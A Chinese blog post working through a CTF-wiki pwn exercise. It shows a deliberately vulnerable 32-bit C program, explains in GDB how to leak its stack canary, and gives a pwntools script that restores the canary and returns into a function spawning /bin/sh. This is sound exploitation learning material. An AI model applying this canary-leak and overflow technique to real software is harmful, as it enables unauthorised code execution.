pwn学习-canary
程序员文章站
2024-01-20 09:05:40
...
CTF-WIKI-pwn-cannary 漏洞复现
Canary 实现原理
开启 Canary 保护的 stack 结构大概如下
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译为 32bit 程序,开启 NX,ASLR,Canary 保护
首先通过覆盖 Canary 最后一个 \x00
字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中
使用GDB调试,输入100个 'A'。
定位到100个A在堆栈里的位置,0x0a为100个‘A’后的换行符。(为明白此折腾了基础不牢固的我好久。)
其中2处为canary,canary为4个字节,并且最后一个字节为0x00,0x0a覆盖了0x00,所以得到的cannary值为 0xfc2a1c。为此这是第一步。
后续2处是函数返回地址,数出与canary相差12个字节,容易写出shellcode.
下面会对python脚本pwntools每一步给出具体解释。
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2'#全局系统自动设置,为官方推荐设置,ex2为文件名称。
#context.log_level = 'debug'#debug模式下才开启
io = process('./ex2') #本地连接到ex2
get_shell = ELF("./ex2").sym["getshell"] #由于源码里有getshell函数,所以直接可以使用ELF模块找到getshell函数地址。
io.recvuntil("Hello Hacker!\n")#接受传来的第一部分字符
# leak Canary
payload = "A"*100
io.sendline(payload) #传输100个A
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa #因为cannary最后一位字节为00被0x0a覆盖,所以减去0x0a
log.info("Canary:"+hex(Canary))#日志记录下canary
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)#发送最后的payload
io.send(payload)
io.recv()
io.interactive()
上一篇: php结合正则获取字符串中数字
下一篇: 整数溢出学习记录